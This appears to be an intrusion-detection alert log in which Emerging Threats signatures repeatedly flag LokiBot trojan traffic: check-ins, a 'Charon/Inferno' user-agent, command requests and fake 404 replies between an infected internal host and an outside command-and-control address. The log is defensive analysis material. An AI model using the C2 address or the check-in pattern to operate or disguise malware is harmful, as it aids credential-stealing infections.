03/15/21-20:02:08.578048	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49777	87.251.79.157	192.168.2.5
03/15/21-20:02:08.825503	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49778	80	192.168.2.5	87.251.79.157
03/15/21-20:02:08.825503	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49778	80	192.168.2.5	87.251.79.157
03/15/21-20:02:08.825503	TCP	2025381	ET TROJAN LokiBot Checkin	49778	80	192.168.2.5	87.251.79.157
03/15/21-20:02:08.825503	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49778	80	192.168.2.5	87.251.79.157
03/15/21-20:02:09.077586	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49778	87.251.79.157	192.168.2.5
03/15/21-20:02:09.317701	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49779	80	192.168.2.5	87.251.79.157
03/15/21-20:02:09.317701	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49779	80	192.168.2.5	87.251.79.157
03/15/21-20:02:09.317701	TCP	2025381	ET TROJAN LokiBot Checkin	49779	80	192.168.2.5	87.251.79.157
03/15/21-20:02:09.317701	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49779	80	192.168.2.5	87.251.79.157
03/15/21-20:02:09.824424	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49779	87.251.79.157	192.168.2.5
03/15/21-20:02:10.069426	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49780	80	192.168.2.5	87.251.79.157
03/15/21-20:02:10.069426	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49780	80	192.168.2.5	87.251.79.157
03/15/21-20:02:10.069426	TCP	2025381	ET TROJAN LokiBot Checkin	49780	80	192.168.2.5	87.251.79.157
03/15/21-20:02:10.069426	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49780	80	192.168.2.5	87.251.79.157
03/15/21-20:02:10.848664	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49780	87.251.79.157	192.168.2.5
03/15/21-20:02:11.104056	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.5	87.251.79.157
03/15/21-20:02:11.104056	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.5	87.251.79.157
03/15/21-20:02:11.104056	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.5	87.251.79.157
03/15/21-20:02:11.104056	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49781	80	192.168.2.5	87.251.79.157
03/15/21-20:02:11.962513	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49781	87.251.79.157	192.168.2.5
03/15/21-20:02:12.211473	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49782	80	192.168.2.5	87.251.79.157
03/15/21-20:02:12.211473	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49782	80	192.168.2.5	87.251.79.157
03/15/21-20:02:12.211473	TCP	2025381	ET TROJAN LokiBot Checkin	49782	80	192.168.2.5	87.251.79.157
03/15/21-20:02:12.211473	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49782	80	192.168.2.5	87.251.79.157
03/15/21-20:02:12.662556	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49782	87.251.79.157	192.168.2.5
03/15/21-20:02:12.901437	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49783	80	192.168.2.5	87.251.79.157
03/15/21-20:02:12.901437	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49783	80	192.168.2.5	87.251.79.157
03/15/21-20:02:12.901437	TCP	2025381	ET TROJAN LokiBot Checkin	49783	80	192.168.2.5	87.251.79.157
03/15/21-20:02:12.901437	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49783	80	192.168.2.5	87.251.79.157
03/15/21-20:02:13.555650	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49783	87.251.79.157	192.168.2.5
03/15/21-20:02:13.800785	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49784	80	192.168.2.5	87.251.79.157
03/15/21-20:02:13.800785	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49784	80	192.168.2.5	87.251.79.157
03/15/21-20:02:13.800785	TCP	2025381	ET TROJAN LokiBot Checkin	49784	80	192.168.2.5	87.251.79.157
03/15/21-20:02:13.800785	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49784	80	192.168.2.5	87.251.79.157
03/15/21-20:02:14.919122	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49784	87.251.79.157	192.168.2.5
03/15/21-20:02:15.165407	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49785	80	192.168.2.5	87.251.79.157
03/15/21-20:02:15.165407	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49785	80	192.168.2.5	87.251.79.157
03/15/21-20:02:15.165407	TCP	2025381	ET TROJAN LokiBot Checkin	49785	80	192.168.2.5	87.251.79.157
03/15/21-20:02:15.165407	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49785	80	192.168.2.5	87.251.79.157
03/15/21-20:02:15.736679	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49785	87.251.79.157	192.168.2.5
03/15/21-20:02:15.977432	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49786	80	192.168.2.5	87.251.79.157
03/15/21-20:02:15.977432	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49786	80	192.168.2.5	87.251.79.157
03/15/21-20:02:15.977432	TCP	2025381	ET TROJAN LokiBot Checkin	49786	80	192.168.2.5	87.251.79.157
03/15/21-20:02:15.977432	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49786	80	192.168.2.5	87.251.79.157
03/15/21-20:02:16.341683	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49786	87.251.79.157	192.168.2.5
03/15/21-20:02:16.606063	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49787	80	192.168.2.5	87.251.79.157
03/15/21-20:02:16.606063	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49787	80	192.168.2.5	87.251.79.157
03/15/21-20:02:16.606063	TCP	2025381	ET TROJAN LokiBot Checkin	49787	80	192.168.2.5	87.251.79.157
03/15/21-20:02:16.606063	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49787	80	192.168.2.5	87.251.79.157
03/15/21-20:02:16.868801	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49787	87.251.79.157	192.168.2.5
03/15/21-20:02:17.111440	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49788	80	192.168.2.5	87.251.79.157
03/15/21-20:02:17.111440	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49788	80	192.168.2.5	87.251.79.157
03/15/21-20:02:17.111440	TCP	2025381	ET TROJAN LokiBot Checkin	49788	80	192.168.2.5	87.251.79.157
03/15/21-20:02:17.111440	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49788	80	192.168.2.5	87.251.79.157
03/15/21-20:02:17.387170	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49788	87.251.79.157	192.168.2.5
03/15/21-20:02:17.638517	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49789	80	192.168.2.5	87.251.79.157
03/15/21-20:02:17.638517	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49789	80	192.168.2.5	87.251.79.157
03/15/21-20:02:17.638517	TCP	2025381	ET TROJAN LokiBot Checkin	49789	80	192.168.2.5	87.251.79.157
03/15/21-20:02:17.638517	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49789	80	192.168.2.5	87.251.79.157
03/15/21-20:02:17.889045	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49789	87.251.79.157	192.168.2.5
03/15/21-20:02:18.140709	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49790	80	192.168.2.5	87.251.79.157
03/15/21-20:02:18.140709	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49790	80	192.168.2.5	87.251.79.157
03/15/21-20:02:18.140709	TCP	2025381	ET TROJAN LokiBot Checkin	49790	80	192.168.2.5	87.251.79.157
03/15/21-20:02:18.140709	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49790	80	192.168.2.5	87.251.79.157
03/15/21-20:02:18.950899	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49790	87.251.79.157	192.168.2.5
03/15/21-20:02:19.191851	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49791	80	192.168.2.5	87.251.79.157
03/15/21-20:02:19.191851	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49791	80	192.168.2.5	87.251.79.157
03/15/21-20:02:19.191851	TCP	2025381	ET TROJAN LokiBot Checkin	49791	80	192.168.2.5	87.251.79.157
03/15/21-20:02:19.191851	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49791	80	192.168.2.5	87.251.79.157
03/15/21-20:02:19.893290	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49791	87.251.79.157	192.168.2.5
03/15/21-20:02:20.132315	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49792	80	192.168.2.5	87.251.79.157
03/15/21-20:02:20.132315	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.5	87.251.79.157
03/15/21-20:02:20.132315	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.5	87.251.79.157
03/15/21-20:02:20.132315	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49792	80	192.168.2.5	87.251.79.157
03/15/21-20:02:20.545478	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49792	87.251.79.157	192.168.2.5
03/15/21-20:02:20.811216	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.5	87.251.79.157
03/15/21-20:02:20.811216	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.5	87.251.79.157
03/15/21-20:02:20.811216	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.5	87.251.79.157
03/15/21-20:02:20.811216	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49793	80	192.168.2.5	87.251.79.157
03/15/21-20:02:22.134079	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49793	87.251.79.157	192.168.2.5
03/15/21-20:02:22.370386	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.5	87.251.79.157
03/15/21-20:02:22.370386	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.5	87.251.79.157
03/15/21-20:02:22.370386	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.5	87.251.79.157
03/15/21-20:02:22.370386	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49794	80	192.168.2.5	87.251.79.157
03/15/21-20:02:23.137267	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49794	87.251.79.157	192.168.2.5
03/15/21-20:02:23.393004	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.5	87.251.79.157
03/15/21-20:02:23.393004	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.5	87.251.79.157
03/15/21-20:02:23.393004	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.5	87.251.79.157
03/15/21-20:02:23.393004	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49795	80	192.168.2.5	87.251.79.157
03/15/21-20:02:23.720448	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49795	87.251.79.157	192.168.2.5
03/15/21-20:02:23.957920	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49796	80	192.168.2.5	87.251.79.157
03/15/21-20:02:23.957920	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49796	80	192.168.2.5	87.251.79.157
03/15/21-20:02:23.957920	TCP	2025381	ET TROJAN LokiBot Checkin	49796	80	192.168.2.5	87.251.79.157
03/15/21-20:02:23.957920	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49796	80	192.168.2.5	87.251.79.157
03/15/21-20:02:24.202555	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49796	87.251.79.157	192.168.2.5
03/15/21-20:02:24.445594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49797	80	192.168.2.5	87.251.79.157
03/15/21-20:02:24.445594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49797	80	192.168.2.5	87.251.79.157
03/15/21-20:02:24.445594	TCP	2025381	ET TROJAN LokiBot Checkin	49797	80	192.168.2.5	87.251.79.157
03/15/21-20:02:24.445594	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49797	80	192.168.2.5	87.251.79.157
03/15/21-20:02:24.836480	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49797	87.251.79.157	192.168.2.5
03/15/21-20:02:25.081005	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49798	80	192.168.2.5	87.251.79.157
03/15/21-20:02:25.081005	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49798	80	192.168.2.5	87.251.79.157
03/15/21-20:02:25.081005	TCP	2025381	ET TROJAN LokiBot Checkin	49798	80	192.168.2.5	87.251.79.157
03/15/21-20:02:25.081005	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49798	80	192.168.2.5	87.251.79.157
03/15/21-20:02:25.327432	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49798	87.251.79.157	192.168.2.5
03/15/21-20:02:25.684655	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49799	80	192.168.2.5	87.251.79.157
03/15/21-20:02:25.684655	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49799	80	192.168.2.5	87.251.79.157
03/15/21-20:02:25.684655	TCP	2025381	ET TROJAN LokiBot Checkin	49799	80	192.168.2.5	87.251.79.157
03/15/21-20:02:25.684655	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49799	80	192.168.2.5	87.251.79.157
03/15/21-20:02:26.359699	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49799	87.251.79.157	192.168.2.5
03/15/21-20:02:26.955493	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49800	80	192.168.2.5	87.251.79.157
03/15/21-20:02:26.955493	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49800	80	192.168.2.5	87.251.79.157
03/15/21-20:02:26.955493	TCP	2025381	ET TROJAN LokiBot Checkin	49800	80	192.168.2.5	87.251.79.157
03/15/21-20:02:26.955493	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49800	80	192.168.2.5	87.251.79.157
03/15/21-20:02:27.225793	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49800	87.251.79.157	192.168.2.5
03/15/21-20:02:27.917007	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49801	80	192.168.2.5	87.251.79.157
03/15/21-20:02:27.917007	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49801	80	192.168.2.5	87.251.79.157
03/15/21-20:02:27.917007	TCP	2025381	ET TROJAN LokiBot Checkin	49801	80	192.168.2.5	87.251.79.157
03/15/21-20:02:27.917007	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49801	80	192.168.2.5	87.251.79.157
03/15/21-20:02:28.185613	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49801	87.251.79.157	192.168.2.5
03/15/21-20:02:28.431083	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49802	80	192.168.2.5	87.251.79.157
03/15/21-20:02:28.431083	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49802	80	192.168.2.5	87.251.79.157
03/15/21-20:02:28.431083	TCP	2025381	ET TROJAN LokiBot Checkin	49802	80	192.168.2.5	87.251.79.157
03/15/21-20:02:28.431083	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49802	80	192.168.2.5	87.251.79.157
03/15/21-20:02:29.434993	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49802	87.251.79.157	192.168.2.5
03/15/21-20:02:29.681856	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49803	80	192.168.2.5	87.251.79.157
03/15/21-20:02:29.681856	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49803	80	192.168.2.5	87.251.79.157
03/15/21-20:02:29.681856	TCP	2025381	ET TROJAN LokiBot Checkin	49803	80	192.168.2.5	87.251.79.157
03/15/21-20:02:29.681856	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49803	80	192.168.2.5	87.251.79.157
03/15/21-20:02:30.206663	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49803	87.251.79.157	192.168.2.5
03/15/21-20:02:30.451493	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49804	80	192.168.2.5	87.251.79.157
03/15/21-20:02:30.451493	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49804	80	192.168.2.5	87.251.79.157
03/15/21-20:02:30.451493	TCP	2025381	ET TROJAN LokiBot Checkin	49804	80	192.168.2.5	87.251.79.157
03/15/21-20:02:30.451493	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49804	80	192.168.2.5	87.251.79.157
03/15/21-20:02:31.207740	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49804	87.251.79.157	192.168.2.5
03/15/21-20:02:31.449127	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49805	80	192.168.2.5	87.251.79.157
03/15/21-20:02:31.449127	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49805	80	192.168.2.5	87.251.79.157
03/15/21-20:02:31.449127	TCP	2025381	ET TROJAN LokiBot Checkin	49805	80	192.168.2.5	87.251.79.157
03/15/21-20:02:31.449127	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49805	80	192.168.2.5	87.251.79.157
03/15/21-20:02:31.693971	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49805	87.251.79.157	192.168.2.5
03/15/21-20:02:31.930990	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49806	80	192.168.2.5	87.251.79.157
03/15/21-20:02:31.930990	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49806	80	192.168.2.5	87.251.79.157
03/15/21-20:02:31.930990	TCP	2025381	ET TROJAN LokiBot Checkin	49806	80	192.168.2.5	87.251.79.157
03/15/21-20:02:31.930990	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49806	80	192.168.2.5	87.251.79.157
03/15/21-20:02:32.192041	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49806	87.251.79.157	192.168.2.5
03/15/21-20:02:32.496819	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49807	80	192.168.2.5	87.251.79.157
03/15/21-20:02:32.496819	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49807	80	192.168.2.5	87.251.79.157
03/15/21-20:02:32.496819	TCP	2025381	ET TROJAN LokiBot Checkin	49807	80	192.168.2.5	87.251.79.157
03/15/21-20:02:32.496819	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49807	80	192.168.2.5	87.251.79.157
03/15/21-20:02:32.761122	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49807	87.251.79.157	192.168.2.5
03/15/21-20:02:32.987341	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49808	80	192.168.2.5	87.251.79.157
03/15/21-20:02:32.987341	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49808	80	192.168.2.5	87.251.79.157
03/15/21-20:02:32.987341	TCP	2025381	ET TROJAN LokiBot Checkin	49808	80	192.168.2.5	87.251.79.157
03/15/21-20:02:32.987341	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49808	80	192.168.2.5	87.251.79.157
03/15/21-20:02:33.390136	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49808	87.251.79.157	192.168.2.5
03/15/21-20:02:33.631086	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49809	80	192.168.2.5	87.251.79.157
03/15/21-20:02:33.631086	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49809	80	192.168.2.5	87.251.79.157
03/15/21-20:02:33.631086	TCP	2025381	ET TROJAN LokiBot Checkin	49809	80	192.168.2.5	87.251.79.157
03/15/21-20:02:33.631086	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49809	80	192.168.2.5	87.251.79.157
03/15/21-20:02:33.904066	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49809	87.251.79.157	192.168.2.5
03/15/21-20:02:34.145989	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49810	80	192.168.2.5	87.251.79.157
03/15/21-20:02:34.145989	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49810	80	192.168.2.5	87.251.79.157
03/15/21-20:02:34.145989	TCP	2025381	ET TROJAN LokiBot Checkin	49810	80	192.168.2.5	87.251.79.157
03/15/21-20:02:34.145989	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49810	80	192.168.2.5	87.251.79.157
03/15/21-20:02:34.575041	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49810	87.251.79.157	192.168.2.5
03/15/21-20:02:34.829000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49811	80	192.168.2.5	87.251.79.157
03/15/21-20:02:34.829000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49811	80	192.168.2.5	87.251.79.157
03/15/21-20:02:34.829000	TCP	2025381	ET TROJAN LokiBot Checkin	49811	80	192.168.2.5	87.251.79.157
03/15/21-20:02:34.829000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49811	80	192.168.2.5	87.251.79.157
03/15/21-20:02:35.190508	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49811	87.251.79.157	192.168.2.5
03/15/21-20:02:35.434683	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49812	80	192.168.2.5	87.251.79.157
03/15/21-20:02:35.434683	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49812	80	192.168.2.5	87.251.79.157
03/15/21-20:02:35.434683	TCP	2025381	ET TROJAN LokiBot Checkin	49812	80	192.168.2.5	87.251.79.157
03/15/21-20:02:35.434683	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49812	80	192.168.2.5	87.251.79.157
03/15/21-20:02:35.715600	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49812	87.251.79.157	192.168.2.5
03/15/21-20:02:35.964694	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49813	80	192.168.2.5	87.251.79.157
03/15/21-20:02:35.964694	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49813	80	192.168.2.5	87.251.79.157
03/15/21-20:02:35.964694	TCP	2025381	ET TROJAN LokiBot Checkin	49813	80	192.168.2.5	87.251.79.157
03/15/21-20:02:35.964694	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49813	80	192.168.2.5	87.251.79.157
03/15/21-20:02:36.235228	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49813	87.251.79.157	192.168.2.5
03/15/21-20:02:36.490300	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49814	80	192.168.2.5	87.251.79.157
03/15/21-20:02:36.490300	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49814	80	192.168.2.5	87.251.79.157
03/15/21-20:02:36.490300	TCP	2025381	ET TROJAN LokiBot Checkin	49814	80	192.168.2.5	87.251.79.157
03/15/21-20:02:36.490300	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49814	80	192.168.2.5	87.251.79.157
03/15/21-20:02:36.724258	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49814	87.251.79.157	192.168.2.5
03/15/21-20:02:36.967007	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49815	80	192.168.2.5	87.251.79.157
03/15/21-20:02:36.967007	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49815	80	192.168.2.5	87.251.79.157
03/15/21-20:02:36.967007	TCP	2025381	ET TROJAN LokiBot Checkin	49815	80	192.168.2.5	87.251.79.157
03/15/21-20:02:36.967007	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49815	80	192.168.2.5	87.251.79.157
03/15/21-20:02:37.823558	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49815	87.251.79.157	192.168.2.5
03/15/21-20:02:38.070057	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49816	80	192.168.2.5	87.251.79.157
03/15/21-20:02:38.070057	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49816	80	192.168.2.5	87.251.79.157
03/15/21-20:02:38.070057	TCP	2025381	ET TROJAN LokiBot Checkin	49816	80	192.168.2.5	87.251.79.157
03/15/21-20:02:38.070057	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49816	80	192.168.2.5	87.251.79.157
03/15/21-20:02:38.331742	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49816	87.251.79.157	192.168.2.5
03/15/21-20:02:38.572152	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49817	80	192.168.2.5	87.251.79.157
03/15/21-20:02:38.572152	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.2.5	87.251.79.157
03/15/21-20:02:38.572152	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.2.5	87.251.79.157
03/15/21-20:02:38.572152	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49817	80	192.168.2.5	87.251.79.157
03/15/21-20:02:38.816870	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49817	87.251.79.157	192.168.2.5
03/15/21-20:02:39.060147	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49818	80	192.168.2.5	87.251.79.157
03/15/21-20:02:39.060147	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49818	80	192.168.2.5	87.251.79.157
03/15/21-20:02:39.060147	TCP	2025381	ET TROJAN LokiBot Checkin	49818	80	192.168.2.5	87.251.79.157
03/15/21-20:02:39.060147	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49818	80	192.168.2.5	87.251.79.157
03/15/21-20:02:39.298110	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49818	87.251.79.157	192.168.2.5
03/15/21-20:02:39.551285	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49819	80	192.168.2.5	87.251.79.157
03/15/21-20:02:39.551285	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49819	80	192.168.2.5	87.251.79.157
03/15/21-20:02:39.551285	TCP	2025381	ET TROJAN LokiBot Checkin	49819	80	192.168.2.5	87.251.79.157
03/15/21-20:02:39.551285	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49819	80	192.168.2.5	87.251.79.157
03/15/21-20:02:40.745247	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49819	87.251.79.157	192.168.2.5
03/15/21-20:02:40.980813	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49820	80	192.168.2.5	87.251.79.157
03/15/21-20:02:40.980813	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49820	80	192.168.2.5	87.251.79.157
03/15/21-20:02:40.980813	TCP	2025381	ET TROJAN LokiBot Checkin	49820	80	192.168.2.5	87.251.79.157
03/15/21-20:02:40.980813	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49820	80	192.168.2.5	87.251.79.157
03/15/21-20:02:42.875461	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49820	87.251.79.157	192.168.2.5
03/15/21-20:02:43.130286	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49821	80	192.168.2.5	87.251.79.157
03/15/21-20:02:43.130286	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.2.5	87.251.79.157
03/15/21-20:02:43.130286	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.2.5	87.251.79.157
03/15/21-20:02:43.130286	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49821	80	192.168.2.5	87.251.79.157
